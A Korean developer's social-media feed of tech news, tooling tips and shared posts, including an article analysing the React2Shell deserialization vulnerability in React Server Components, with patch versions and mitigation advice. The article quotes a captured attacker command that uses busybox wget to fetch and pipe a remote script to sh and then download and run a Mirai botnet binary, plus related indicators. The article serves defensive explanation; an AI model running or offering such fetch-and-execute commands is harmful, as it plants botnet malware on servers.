Tailwind 제작사, 엔지니어링 팀의 75% 해고
------------------------------
- Tailwind CSS 문서에 *LLM 최적화용 /llms.txt 엔드포인트* 를 추가하는 PR이 커뮤니티에서 논란을 일으킴
- 제안된 기능은 모든 문서 페이지를 *텍스트 전용으로 결합해 대형 언어 모델(LLM)* 이 쉽게 학습할 수 있도록 하는 구조
- Tailwind Labs 측은 *수익성 악화와 트래픽 감소* 를 이유로 해당 기능을 거…
------------------------------
https://news.hada.io/topic?id=25650&utm_source=googlechat&utm_medium=bot&utm_campaign=1834
McK
@mck@hackers.pub · 15 following · 18 followers
우리.인생
- @mck@uri.life
hosting.kr 등록한 도메인 이름 아직 기간이 남았지만 3년 갱신. 다음 주 월요일 09시부터 인상된다고.
❯ witr ghostty
Target : ghostty
Process : ghostty (pid 36529)
User : mck
Service : launch job demand
Command : /Applications/Ghostty.app/Contents/MacOS/ghostty
Started : just now (Mon 2025-12-29 10:08:55 +00:00)
Why It Exists :
launchd (pid 1) → ghostty (pid 36529)
Source : application.com.mitchellh.ghostty.34914134.34914139 (launchd)
Type : Launch Agent
Working Dir : /
Open Files : 100 of 256 (39%)
Locks : /Users/mck/Library/Caches/com.mitchellh.ghostty/sentry/8c48f586-5c27-49c8-71a1-7727494394fc.run.lock
Warnings :
• Process is running from a suspicious working directory: /
• Service name and process name do not match
(오프라인에서 했던 얘기를 온라인에서도 하기)
@hongminhee洪 民憙 (Hong Minhee) 님 블로그는 국한문혼용으로 보면 세로쓰기 가로스크롤로 바뀌는 게 꽤나 운치가 있다고 생각해요..... 한자를 못 읽는 건 아쉽지만
예전에 LLM이 얼마나 복잡한 코드를 이해할 수 있는지 파악하기 위해 Gemini 2.5 모델들로 내 IOCCC 2012 수상작을 던지고 무슨 일을 하는지 실행 없이 알아 맞춰 보라고 했더니 하나도 제대로 파악하지 못했던 적이 있다. 문득 생각이 나서 Gemini 3 Pro는 개선되었을려나 생각했는데, 힌트 하나만 받고 10분동안 생각하더니 완벽하게 응답에 성공했다! 심지어 설명도 실행 없이 분석했다는 걸 감안할 때 매우 정확했다. IOCCC 수상작을 모두 기억하고 있을 가능성을 감안해 이전에 본 적이 있냐고 물어 보니 환각(...)을 내뱉는 것도 그렇고(그보다 외웠다면 처음에 바로 정답을 얘기했겠지), 실제로 생각 과정을 보면 사람이 할 법한 분석을 전부 하고 있는 걸 보니 진짜로 LLM들의 reasoning 능력이 이 정도 수준에 도달했음을 알 수 있다. 세상 참 많이 발전했네.
asdf + direnv 조합을 mise로 바꾸고 나서, 초반에는 환경 변수 제어가 쉽고 다양한 점이 좋았다면 시간이 갈수록 tasks 기능이 기존 프로젝트까지 mise로 전환하게 만든다.
[tasks."dev:db"]
dir = "./data"
run = "./docker-run-postgres.sh --no-tty"
[tasks."dev:cms"]
dir = "./cms"
run = """
until nc -z localhost 5432; do
echo "Waiting for database to be ready..."
sleep 1
done
corepack yarn dev || [ $? -eq 129 ] || [ $? -eq 130 ]
"""
[tasks.dev]
depends = ["dev:db", "dev:cms"]
AWS CEO, "AI로 주니어 개발자를 대체하는 것은 ‘가장 어리석은 생각 중 하나’"
------------------------------
- AWS CEO Matt Garman 은 기업이 AI로 주니어 개발자를 대체하려는 움직임에 반대하며, 이들이 *AI 도구 활용에 가장 능숙한 인력층* 이라고 강조
- 첫 번째 이유로, 젊은 개발자들은 *AI 기반 툴에 익숙하고 적응이 빠르며* , 실제로 많은 주니어 개발자가 매일 AI를 활용하고 있음
- 두 번째로, 주니어 인력은…
------------------------------
https://news.hada.io/topic?id=25159&utm_source=googlechat&utm_medium=bot&utm_campaign=1834
GitHub, 2026년 3월부터 셀프호스티드 액션 러너에 요금 부과 예정
------------------------------
- 2026년 1월 1일부터 *GitHub 호스티드 러너 요금이 최대 39% 인하* 되고, 3월 1일부터 *셀프 호스티드 러너에 분당 0.002달러 요금* 이 부과됨
- 전체 고객의 *96%는 요금 변동이 없으며* , 4% 중 85%는 인하, 15%는 월 중간값 약 13달러 인상
- *공개 저장소의 Actions 사용은 계속 무료* 이며, GitHub Enter…
------------------------------
https://news.hada.io/topic?id=25128&utm_source=googlechat&utm_medium=bot&utm_campaign=1834
"OOO 주식회사 OOO 대표님 맞으시죠? 산업안전보건교육 받아야 하는 업체에 해당합니다. 직원이나 프리랜서 고용 있으시죠? 어쩌고~" 일단 쎄한 느낌을 받았습니다. 다다다 쏴붙이면서 중간에 질문할 틈을 최대한 막으면서 가는 꼬락서니가 관공서는 아니구나 싶었습니다. 고용이나 프리랜서 없다고 하니, 뚝 끊어 버립니다. 검색해보니, 이런식의 반쯤 사기같은 행태가 존재한다고 하네요. 소규모 법인 대표님들 조심하세요~
McK shared the below article:
React2Shell 취약점의 특성을 알아보자
고남현 @gnh1201@hackers.pub
React2Shell 취약점이란?
외부에서 수신된 특정한 규격에 따라 구조적으로 작성된 데이터를 처리한다면, 공격자가 어떠한 의도를 가지고 있다면 데이터를 보낼 때 실행 가능한 악의적 코드를 같이 넣어 보낼 가능성을 배제할 수 없다.
이것이 보안 약점이 되지 않기 위해선 이러한 공격자의 의도를 막아야하지만, React2Shell (CVE-2025-55182) 취약점은 이러한 공격자의 의도를 막지 못하고 실행을 무제한 허용하는 방법이 발견된 것이다.
특정한 규격에 따라 구조적으로 작성된 데이터를 처리하는 과정을 일컫는 용어를 "역직렬화"(Deserialization)이라고 한다.
특정한 규격은 잘 알려진 JSON, XML, YAML가 될 수도 있고, 자체 규격이 될 수도 있고, 혼합형이 될 수도 있다. React2Shell 취약점은 혼합형(JSON + aka. Flight)을 사용하였다.
자체 규격(aka. Flight)이 JavaScript로 정의된 객체의 성격을 임의로 변경(Prototype 개념 상 존재하는 생성자 수준의 속성(__proto__, constructor)에 접근하여 객체의 성격을 임의로 바꿀 수 있음)하는데 필요한 접근성을 가지고 있었기에 가능한 것이었다.
역직렬화(Deserialization) 과정은 왜 위험한가?
실무적으로 역직렬화 과정이 위험해지는 이유는 다음과 같다.
- 데이터 교환 포맷은 자료형에 엄격하지 않다: 원활한 데이터 교환이 최우선이라는 목적에 만족하기 위해 엄격한 자료형(Type-safe)을 사용하도록 설계하지 않는다. 이것은 자료형 혼란(Type Confusion)을 기반으로 한 다양한 방식의 탈옥 시도를 가능케해주는 단서가 되기도 한다.
- 특정 단어 또는 특정 기호가, 특정 작업을 수행하는 신호탄(Trigger) 역할을 한다: 특정 특정 단어 또는 특정 기호에 의해 촉발되는 특정 작업의 유효성 검증 절차가 미흡하며 해당 어플리케이션의 범위를 벗어나 시스템으로 권한 상승과 명령 실행을 허용하는 통로가 된다. 실무적으로 가장 비중이 높은 유형이다.
- 미리 식별되지 못한 예약어가 있을 수 있다: 드물지만 특정 언어, 특정 프레임워크, 특정 라이브러리, 또는 특정 펌웨어 등 연관된 의존성에서 명확하게 식별되지 못한 예약어(단어, 기호)를 처리하는 구현이 존재할 가능성도 있다. 이는 특정 조건이 맞으면 발현될 가능성이 있다.
이 외에도 역직렬화 과정은 유사한 여러 취약 가능성을 가지고 있기 때문에, 역직렬화 과정을 보호하기 위한 여러 보완 장치의 구현이 필요하다.
알려진 역직렬화 취약점 사례 (언어 및 생태계별)
역직렬화 취약점이 어떤 성격을 가지는 취약점인지 빠르게 이해하기 위해선, 역직렬화 취약점과 연관이 있는 취약점 사례와 공통적인 특징을 살펴볼 수 있다. 그 사례는 다음과 같다.
| 언어 / 생태계 | 역직렬화 취약점 사례 | 주요 공통점 |
|---|---|---|
| Java | CVE-2021-44228 (Log4Shell), CVE-2017-9805 (Apache Struts2 REST), CVE-2020-8840 (jackson-databind) | 외부 입력이 객체 생성·역직렬화 경로(JNDI, XML/JSON 바인딩) 로 유입되어 gadget chain 또는 원격 클래스 로딩을 통해 RCE 발생 |
| .NET (C# / VB.NET) | CVE-2019-18935 (Telerik UI), CVE-2025-53690 (Sitecore ViewState), CVE-2020-25258 (Hyland OnBase) | BinaryFormatter·ViewState 등 레거시 역직렬화 포맷을 신뢰하여 임의 타입 로딩·코드 실행 |
| Python | CVE-2017-18342 (PyYAML unsafe load), CVE-2024-9701 (Kedro ShelveStore), CVE-2024-5998 (LangChain FAISS) | pickle·unsafe YAML 로더 사용으로 역직렬화 자체가 실행 트리거 |
| PHP (WP) | CVE-2023-6933 (Better Search Replace), CVE-2025-0724 (ProfileGrid), CVE-2024-5488 (SEOPress) | unserialize() / maybe_unserialize()에 사용자 입력이 전달되어 PHP Object Injection(POP chain) 발생 |
| Ruby | CVE-2013-0156 (Rails YAML.load), CVE-2020-10663 (RubyGems Marshal) | YAML.load·Marshal.load 사용 시 임의 객체 생성 → 코드 실행 |
| JavaScript / Node.js | CVE-2025-55182 (React2Shell), CVE-2020-7660 (serialize-javascript) | 구조 복원·객체 재구성 로직이 신뢰되지 않은 입력을 코드/객체로 해석 |
| Go | CVE-2022-28948 (go-yaml Unmarshal), CVE-2020-16845 (HashiCorp Consul) | Unmarshal 단계에서 입력 검증 부족 → 구조체 복원 기반 로직 붕괴·DoS |
| Rust | GHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687) | 메모리 안전과 무관하게 serde 기반 역직렬화에서 신뢰되지 않은 데이터가 내부 타입으로 복원되어 로직 오염·DoS·잠재적 코드 실행 위험 |
| Kotlin / Android | CVE-2024-43080 (Android) / CVE-2024-10382 (Android Car) | Intent/Bundle/IPC 역직렬화 시 타입·검증 미흡 → 권한 상승·DoS |
| C / C++ | CVE-2024-8375 (Google Reverb, Related to gRPC and protobuf) | Unpack 과정에서 데이터타입(VARIANT), vtable 포인터 오염 등 무결성 검증 부족 |
| Swift / iOS | CVE-2021-32742 (Vapor) | 외부 입력을 디코딩/객체 복원 시 신뢰 경계 붕괴 → DoS·정보 노출 |
| 산업용 (ICS/OT) | CVE-2024-12703, CVE-2023-27978 (Schneider Electric), CVE-2025-2566 (Kaleris Navis N4), CVE-2023-32737 (Siemens SIMATIC) | 프로젝트 파일·관리 서버 입력을 신뢰된 내부 데이터로 가정하고 역직렬화 → RCE 및 물리 시스템 영향 가능 |
역직렬화 취약점은 언어와 환경을 가리지 않고 다양하게 나타나고 있으며, 발견된 역직렬화 취약점은 취약점 점수(CVSS 3.x)에서도 8.0에서 10.0 범위의 매우 높은 점수를 받고 있다.
이제 사전 정보 없이도 공격 특성을 읽을 수 있다.
역직렬화 취약점이 어떤 공통적인 특성을 가지는지 설명했으니, 이제 React2Shell 공격의 개념증명(PoC)에서 보인 공격 특성을 사전 정보(공격 대상인 RSC의 내부 이해)가 없이도 어느정도 파악할 수 있다.
여기 각각 JavaScript와 Python으로 작성된 주요 공격 개념증명 코드가 있다.
- https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/blob/main/01-submitted-poc.js
- https://github.com/msanft/CVE-2025-55182/blob/main/poc.py
여기서 알 수 있는 정보는 다음과 같다.
- 잘 알려진 포맷(JSON 등)과 함께 보이는 Colon-sperated String과 같은 패턴은 활용 분야에 따라 Micro-operations, Opcodes 등의 용어로 불리며, 비실행 포맷을 최소 명령 실행이 가능한 포맷으로 활용하겠다는 의도를 나타낸다. 구현 시 무결성에 주의를 더 기울이지 않으면 역직렬화 취약점을 불러들이는 좋은 복선이 된다.
- 생성자 수준의 키워드 (
__proto__,constructor)를 통해 Prototype을 변조할 수 있는 접근성을 가지고 있다는 것을 알 수 있다. 용어로는 "JavaScript prototype pollution"라고 한다. then키워드를 통해 공격 대상 내부에 존재하는 Promise 객체에 붙겠다(또는 새로운 Promise 객체를 만들겠다)는 의도를 확인할 수 있다.- 페이로드의
value필드 값이 아직 역직렬화 되기 전의 문자열 형태의 JSON인 것으로 봤을 때, 공격 대상 내부에서JSON.parse메소드의 호출을 예상할 수 있다. - 공격 코드로 보이는
_response._prefix의 주입은then키워드가 등장하는 위치와 최대한 가까운 곳에서 일어나야 한다. 그래야 Promise 객체가 공격 코드를 트리거할 수 있기 때문이다. - 결국 JSON 역직렬화 과정이 일어나면서,
then속성을 가지면서, 공격 코드를 수용할 수 있는 가장 연관성 높은 표현이라는 점을 모두 만족하는 부분은{"then": "$Bx"}라는 것을 알 수 있다.$Bx를 처리하는 과정 중 (또는$Bx가 처리한 결과에 대한 사후) 검증이 부족하다는 의미이다. - 공격 절차에 포함되는
Next-Action헤더는 애초에 이 취약점의 원인이 된 어떤 기능을 켜고 끄는 것에 관한 것임을 예상할 수 있다. 개발된 앱에 존재하는 유효한 액션에 대한 Key를 알 수 있다면 그 액션의 실행을 요청함으로서 공격 코드 또한 실행할 수 있을 것이다.
공격자는 이 취약점을 이용해서 뭘하나?
Catswords OSS로 제보된 내용에 따르면, React2Shell에 노출된 서버는 이런 명령이 들어온다고 한다. 한 회원이 학습용으로 구축한 React 서버에서 발견된 로그이다.
(busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh; \
cd /dev; \
busybox wget http://31.56.27.76/n2/x86; \
chmod 777 x86; \
./x86 reactOnMynuts)
이 파일의 정체는 Mirai botnet이라 부르는 계열의 악성코드이다. React2Shell에 취약한 서버들은 이런 악성코드들을 서버에 주입받게 된다.
그럼 이 악성코드의 명성(?)은 어느정도일지 한번 체크해보자.
- https://www.virustotal.com/gui/file/858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb (33/65 security vendors flagged this file as malicious)
(그래 너 나쁜거 알았으니 그만 알아보자)
관련 IoC 는 다음과 같다.
3ba4d5e0cf0557f03ee5a97a2de56511(MD5)858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb(SHA256)http://193.34.213.150/nuts/bolts(URL)http://31.56.27.76/n2/x86(URL)
범용 botnet이 설치되기 때문에 사실상 DDoS 공격 등 다양한 목적으로 악용되는 서버가 된다.
추가 분석은 아래 링크에서 확인할 수 있다.
- https://www.mbsd.jp/research/20251211/react2shell/
- https://www.bitdefender.com/en-us/blog/labs/cve-2025-55182-exploitation-hits-the-smart-home
이 공격을 어떻게 완화해야할까?
버전 업데이트로 해결하기
Next.js를 사용하는 서버라면 취약점이 해결된 버전으로 업데이트하여야 한다. Next.js의 개발사 Vercel은 취약한 버전에 대해 다음과 같이 안내하고 있다.
| Vulnerable version | Patched release |
|---|---|
| Next.js 15.0.x | 15.0.5 |
| Next.js 15.1.x | 15.1.9 |
| Next.js 15.2.x | 15.2.6 |
| Next.js 15.3.x | 15.3.6 |
| Next.js 15.4.x | 15.4.8 |
| Next.js 15.5.x | 15.5.7 |
| Next.js 16.0.x | 16.0.10 |
| Next.js 14 canaries after 14.3.0-canary.76 | Downgrade to 14.3.0-canary.76 (not vulnerable) |
| Next.js 15 canaries before 15.6.0-canary.58 | 15.6.0-canary.58 |
| Next.js 16 canaries before 16.1.0-canary.12 | 16.1.0-canary.12 and after |
혹여 업데이트에 곤란을 겪고 있는 경우, Vercel에서 공식 제공하는 패치 도구를 활용하는 것도 좋은 방법이 될 수 있다.
- https://github.com/vercel-labs/fix-react2shell-next
방화벽(WAF 등) 규칙의 개선으로 완화하기
Next-Action 헤더 + 시스템 OS 명령어 + 자바스크립트의 Array 또는 Object 관련 메소드, 이렇게 3요소가 같은 요청에 동시에 들어있는건 흔한 상황은 아니라는 점을 고려해서 차단 규칙을 만드는 것도 방법이 될 수 있다.
Anthropic, MCP를 Linux Foundation에 기증
------------------------------
Anthropic이 AI 애플리케이션과 외부 시스템을 연결하는 오픈 표준인 Model Context Protocol(MCP)을 Linux Foundation에 기증했다.
Linux Foundation 산하에 Agentic AI Foundation(AAIF)을 새로 설립했으며, Anthropic, Block, OpenAI가 공동 창립하고 Google, Microsoft, AWS, Cloudflare, Bloomberg가 지원한다…
------------------------------
https://news.hada.io/topic?id=24953&utm_source=googlechat&utm_medium=bot&utm_campaign=1834
Vercel 제품들은 딱 봐도 설계가 너무 구리게 느껴지는데, 그렇다고 깊게 생각해보진 않고 또 쨋든 사람들이 젤 많이 쓰긴하니까, 내 느낌이 잘못된건지 헷갈린다.
The Sass if() syntax is deprecated in favor of the modern CSS syntax.
https://sass-lang.com/documentation/breaking-changes/if-function/
https://sass-lang.com/documentation/breaking-changes/if-function/
In 2010, shortly after adding the boolean value type, Sass added the global if() function as a way to easily use booleans in a single expression without having to write out an entire @if rule. This function had the signature if($condition, $if-true, $if-false) and returned $if-true if $condition was truthy and $if-false otherwise.
At the time, browsers didn’t even support @media queries and we never imagined that CSS might support its own if() function someday. But fifteen years later, support for the CSS if() function began landing in browsers and we had to do so as well in order to remain fully CSS-compatible.
요약하자면, "우리가 if()함수를 전역으로 넣을 때까지만 해도 CSS에 if 함수가 도입될거라곤 상상도 못했어"
대안으로 제시하는 문법은 아직 사용하지 못하는 곳이 있을테니 당분간 @if and @else 규칙 쓰는게 나을듯. #scss #css
The Sass if() syntax is deprecated in favor of the modern CSS syntax.
https://sass-lang.com/documentation/breaking-changes/if-function/
아아 이번 주 마지막 작업 기회가 npm 500 오류로 날아갔다
Bootstrap 바탕으로 UI를 구성한 프로젝트에 scrollspy를 넣어달래서 무심코 Bootstrap Scrollspy를 써봤는데 아뿔싸 … 이 프로젝트는 SvelteKit이었다. SvelteKit은 hash 변경에 개입하기 때문에 충돌함. IntersectionObserver 몇 개로 해결
Vite처럼 HMR을 지원하는 환경에서 개발을 한다면, 거기다 상태 관리에 싱글톤 인스턴스가 쓰인다면 다음 코드가 언젠가는 도움이 될지도.
if (import.meta.hot) {
import.meta.hot.accept(() => {
import.meta.hot?.invalidate();
});
}
McK shared the below article:
일본 서버를 한국과 거의 비슷한 속도로 원격 접속하기
고남현 @gnh1201@hackers.pub
이 글에서는 한국에서 일본 서버를 사용할 때 발생하는 네트워크 지연 문제를 다루고, 해저 케이블망을 활용하여 이를 개선하는 방법을 소개합니다. 저렴한 일본 서버를 선택했지만, 실제 한국에서의 통신 속도가 예상보다 훨씬 느린 250ms에 달해 미국 시애틀보다도 못한 상황을 겪었습니다. 하지만 Microsoft Azure의 한국 리전을 중간 서버로 활용하여 데이터 센터 간 통신을 시도한 결과, 핑 시간을 30ms대로 크게 단축시키는 데 성공했습니다. 이는 86%의 속도 향상으로, RDP를 통해 원격 데스크탑을 사용하는 환경에서 체감 속도를 극적으로 개선했습니다. 이 글은 해외 서버를 사용할 때 네트워크 지연을 줄이는 실질적인 해결책을 제시하며, 독자에게 더 빠르고 효율적인 원격 작업 환경을 구축하는 데 도움을 줄 수 있습니다.
Read more →McK shared the below article:
GitHub Action Rerunner
초무 @2chanhaeng@hackers.pub
GitHub Action Rerunner는 팀원들이 레포지토리에 대한 직접적인 쓰기 권한 없이도 실패한 GitHub Actions를 재실행할 수 있도록 권한을 위임하는 웹 애플리케이션입니다. 레포지토리 소유자는 개인 및 조직 레포지토리를 등록하고, 암호화된 Personal Access Token을 등록하여 공유 가능한 고유 링크를 생성할 수 있습니다. 팀원은 이 링크를 통해 자신에게 할당된 PR 목록을 확인하고, 실패한 Action을 원클릭으로 재실행할 수 있습니다. Next.js, React, Tailwind CSS, PostgreSQL, Prisma ORM, Octokit 등의 기술 스택을 사용했으며, GitHub OAuth를 통해 안전한 계정 관리를 제공합니다. 이 도구를 사용하면 레포지토리 보안을 유지하면서도 팀원들이 CI/CD 프로세스를 효율적으로 관리할 수 있어 개발 생산성을 향상시킬 수 있습니다.
Read more →지금 아이디어는 load에서 SSR인지 여부에 따라서 T | Promise<T>를 던져서 SSR에서는 바로 데이터 / CSR 에서는 Promise 결과가 스트리밍되게 하고 +page.svelte에서는 항상 #await :then을 씌워주면 SSR때도 Promise 아닌게 들어오면 :then을 렌더링하니까 어떻게 될 거 같긴 한데 어쨌든 SvelteKit의 간단한 구조는 포기해야 하니까... (어쩔 수 없는거지 싶기도 하고)
@robin 관련된 내용인지는 모르겠는데, 비동기 SSR 관련해서 뭔가 업데이트가 진행중인 것 같네요. (대충 비동기로 SSR이 되게 할 예정이라는 공지) https://github.com/sveltejs/svelte/discussions/16784
McK shared the below article:
Optique 0.7.0: Smarter error messages and validation library integrations
洪 民憙 (Hong Minhee) @hongminhee@hackers.pub
Optique 0.7.0 introduces enhancements focused on improving the developer experience and expanding its ecosystem for type-safe CLI argument parsing in TypeScript. This release brings automatic "Did you mean?" suggestions to help users correct typos, along with seamless integrations for Zod and Valibot validation libraries, ensuring more robust and efficient CLI development. Duplicate option name detection is now included to catch configuration bugs early, and context-aware error messages provide users with precise feedback. The update also features customizable shell completion naming conventions and improved line break handling in error messages. With these new features, Optique aims to streamline CLI development in TypeScript, making it more intuitive and less error-prone. This release underscores Optique's commitment to providing developers with powerful tools for building high-quality CLI applications.
Read more →panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x2 addr=0x0 pc=0x100d12fe0]
vscode 언어 서버가 죽어버림
그런데 아직까지 iTerm2로 안 돌아가고 그럭저럭 쓰고 있네 #Ghostty
#Ghostty shell-integration-features = cursor,title,ssh-env,ssh-terminfo,path
ssh-env, ssh-terminfo 없으면 고통
안 되면 급한대로 ssh -t user@host 'TERM=xterm-256color bash'
eza로 "."과 ".." 발굴하는 방법
eza -aa = eza --all --all
RSS 피드가 있다면,
1. `
@birb🦜 RSS Parrot ᴮᴱᵀᴬ` 피드 주소를 알려준다
2. RSS 앵무새가 피드로 `_at_어쩌고.저쩌고_at_rss-parrot.net` 계정을 만들어 알려준다
3. 팔로우
#Ghostty 사용 이틀째.
딱히 불편함은 없고 빠릿빠릿해서 좋다. iTerm2에 있던 그 많은 설정은 거의 필요 없었다는걸 새삼 느꼈다. Ghostty에서 설정을 열면(cmd+,) config 파일 고치라고 편집기가 뜬다 🤣
새 창이나 탭을 띄울 때 현재 위치에서 띄우지 못 하는데, 셀 통합이 불안정해서란다. iTerm2용 통합 스크립트를 다 막아도 "invalid OSC command: 1337;ShellIntegrationVersion=14;shell=zsh"가 찍히는 중. 공식 설명서 따라서 수동으로 읽었는데 되다 말다 그럼.
zinit와 zoxide가 zi 가지고 기싸움 하고 있었네
# .zshrc
declare -A ZINIT
ZINIT[NO_ALIASES]=1
zinit와 zoxide가 zi 가지고 기싸움 하고 있었네
오우 첫 느낌은 좋네 Ghostty
2025년 터미널 에뮬레이터 현황: 방랑하는 챔피언들 1위 Ghostty, 2위 Foot, 3위 Kitty가 상위권을 차지함 세 터미널 모두 Unicode 처리 정확도(WIDE/LANG/ZJW/VS16) 항목에서 최고 점수 기록 VTE 기반 터미널(GNOME Terminal, Terminator, LXTerminal 등) 은 하위권 유지 성능(Elapsed time) 측면에서 Foot, WezTerm, tmux, Konsole 등이 빠름 (100초 미만) iTerm2와 Extraterm은 CPU를 과도하게 사용하며, 테스트 시간을 단축해야 했음
과연 이번에도 "돌고 돌아 iTerm2로 돌아옴"이 될 것인가?
https://news.hada.io/topic?id=24130 https://www.jeffquast.com/post/state-of-terminal-emulation-2025/
마크다운은 토씨랑 상성이 진짜 안맞아서 불편하다... *이것을 찾으셨나요?*에라고 쓰면 "*이것을 찾으셨나요?*에"가 되고 <em> 태그를 써야 제대로 적용이 된다
나도 KT 처럼 일해도 돈 나왔으면 좋겠다
10년동안 일을 미뤄도 돈 나오는 회사 KT!!!
정발폰인데 VoLTE 패치 해야 하는 게 말이냐고 KTKT야
컴포넌트 새로 만들다가 써야할 함수를 급하게 날림으로 짜고 남겨뒀던게 기억나서 에이전트한테 테스트 짜달라고 했더니,
주석으로 테스트 대상 코드에 문제 있다고 줄줄이 적어놔서 뭐냐니까 svelte lune mode를 못 알아먹은 거였다. 미덥잖아서 다른 에이전트에 리뷰 던지니까 이번엔 deprecated 된 놈*으로 바꿔야 한다며 … 아주 그냥 쌍으로 환각 파티를 벌이는구만
나도 모르게 감정 이입을 했는지 deprecated 명시한 문서를 던져주니까 한 놈은 수긍하고 한 놈은 끝까지 우긴다 🤣
SvelteKit 2.12: $app/stores deprecated
$app/store/page→$app/state/page
멀쩡한 코드에 문제 있다며 vscode가 절규하는 원인을 한참 뜯어봤더니, 몇몇 언어 서버의 버그가 합쳐져 화음을 이루어 괴롭혔다는 결론. 설정 파일에 단 두 글자 넣자 사라졌다. (솔직히 // *-ignore 넣고 넘어갈까 했는데)
uv는 Python 생태계에 지난 10년간 등장한 최고의 혁신
예전엔 Python의 툴링이 충분하다고 들었지만, 이제 Python 개발자들이 npm이나 cargo, bundler 같은 lockfile 기반 생태계를 경험하고 나서 그 장점을 깨닫는 걸 보니 속이 시원해짐
😂🤣
Ignores hidden directories and files, by default.
fd의 features 가운데 하나. 익숙치 않은 사람은 포기하고find로 돌아갈만한 지점일듯.
Warn when forgetting --hidden on a filename starting with . sharkdp/fd#1588
그나마 있는 경고를 보기도 까다롭다. .profile, \.profile, ^\.profile 모두 기대와 다른 결과가 나온다.
❯ fd '^\.profile'
[fd error]: The pattern(s) seems to only match files with a leading dot, but hidden files are filtered by default. Consider adding -H/--hidden to search hidden files as well or adjust your search pattern(s).
오늘은 테스트계정으로 adnim이라는 아이디를 써서
아드님 계정을 만들었고
"어드민밖에 없는데요"를 듣는데 성공했다
참 재미 있었다.
- 역명부기: 역이름 옆에 광고를 함
- 혁명부기: 혁명을낉여오라하지않앗느냐
We are celebrating our 31st anniversary today! We have adopted a new logo to signal positive changes. We have refreshed our logo to reflect the new type of organization we have become — one that wants to re-engage with our community, and reach new audiences.
See more at:
https://www.w3.org/press-releases/2025/new-logo/
asdf → mise로 전환.
node@14는 어찌저찌 하다가 MISE_ARCH=x86_64 mise install node@14.21.3 해결.
McK shared the below article:
"expression"은 "표현식"이 아니라 그냥 "식"
蛇崩 (じゃくずれ) @ja@hackers.pub
이 글은 프로그래밍 용어 "expression"을 "표현식"이 아닌 간결한 "식"으로 번역해야 한다고 주장합니다. 필자는 "expression"이 수학에서 유래되었으며, 수학에서는 이미 "식"으로 번역되어 사용되고 있음을 지적합니다. 또한, 프로그래머들이 "표현식"을 선호하는 이유로 사전적 정의와 초·중등 교육에서 비롯된 선입견을 들지만, 실제로는 "식"으로 번역해도 의미 전달에 전혀 문제가 없다고 강조합니다. 오히려 "표현식"은 "representation"의 번역어인 "표현"과 혼동될 수 있으며, "정규표현식"과 같이 불필요하게 긴 용어를 만들어낼 수 있다고 비판합니다. 결론적으로, 필자는 "expression"을 "식"으로 번역하는 것이 더 정확하고 간결하며, 전산학 용어의 일관성을 유지하는 데 도움이 된다고 주장하며, "정규식"이라는 간결한 용어 사용을 옹호합니다.
Read more →Sarasa Term K 글꼴에 NF 패치를 해 말어
https://github.com/be5invis/Sarasa-Gothic
터미널/에디터용 고정폭 폰트를 찾는다면 Sarasa Term K를 추천합니다. 이쪽도 한중일 폰트를 모두 지원합니다. Noto Sans Mono CJK도 좋지만 폰트 미세 조정이 안 되는 환경에서 Sarasa Term이 좀더 정확하게 렌더링됩니다. 영문과 한글만 쓰면 네이버의 D2Coding도 훌륭하지만 이쪽은 가나, 한자 지원이 약하죠.
#macOS find는 -delete를 주면 -prune을 무시하거나 우회해버린다. OMZP::macos에서 제공하는 rmdsstore 함수를 개선하려다 찾은 현상.
그래서 살짝 손 봄
function rmdsstore() {
find "${@:-.}" \
-name Library -prune -o -name OrbStack -prune -o \
-type f -name .DS_Store \
-print0 | xargs -0 rm
}
#macOS find는 -delete를 주면 -prune을 무시하거나 우회해버린다. OMZP::macos에서 제공하는 rmdsstore 함수를 개선하려다 찾은 현상.

![> 다음 C 프로그램이 하는 일을 알려 줘. [코드 생략]
이 C 프로그램은 **난독화(obfuscated)**된 코드로, 입력받은 **시간 또는 단위가 포함된 문자열**을 해석하여 총합을 계산한 뒤, 그 결과를 **16진수(Hexadecimal)**로 출력하는 프로그램입니다.
구체적인 작동 방식은 다음과 같습니다:
1. **입력 처리**:
* `getchar()`를 통해 표준 입력(stdin)에서 문자를 하나씩 읽어들입니다.
* `|32`를 통해 대문자를 소문자로 변환하여 처리합니다.
2. **문자 매핑 (해싱)**:
* `"ynwtsflrabg"`라는 문자열은 입력받은 문자가 특정 단위(예: year, week, second 등)인지 확인하기 위한 인덱스 문자열입니다.
* 입력된 문자가 이 문자열에 포함되면 변수 `b`에 특정 해시 값을 누적합니다.
3. **단위 변환 및 계산**:
* `"1+DIY/.K430x9G(kC["`라는 복잡한 문자열은 **룩업 테이블(Lookup Table)** 역할을 합니다.
* 내부 루프에서 이 테이블과 비트 연산(`&255^b`)을 통해 현재 입력된 단위가 무엇인지(예: 'y'가 연도인지, 's'가 초인지) 판별합니다.
* `u=1ll<<6177%n--*4` 부분은 각 단위에 맞는 **가중치(Multiplier)**를 계산합니다. `<<` 비트 시프트 연산을 사용하는 것으로 보아, 특정 단위마다 2의 제곱수 형태의 배수를 적용하거나, 혹은 시간을 초 단위(또는 나노초 단위)로 변환하는 계수를 생성합니다.
4. **결과 누적**:
* 변수 `m`에 파싱된 수치와 단위 가중치를 곱하여 누적합니다.
5. **출력**:
* 최종적으로 계산된 값 `m`을 `printf("%llx\n", m)`을 통해 **16진수(long long hex)** 형태로 출력합니다.
**요약하자면:**
이 코드는 "1y(1년)", "2w(2주)", "30s(30초)"와 같은 형식의 텍스트를 입력받아, 이를 초(second)나 특정 기본 단위로 환산한 총합을 16진수로 보여주는 **단위 변환 계산기**입니다.](https://media.hackers.pub/note-media/53eb3036-9463-495d-bb5c-a04de12a7f21.webp)



깻잎 (상태: 좀비) 

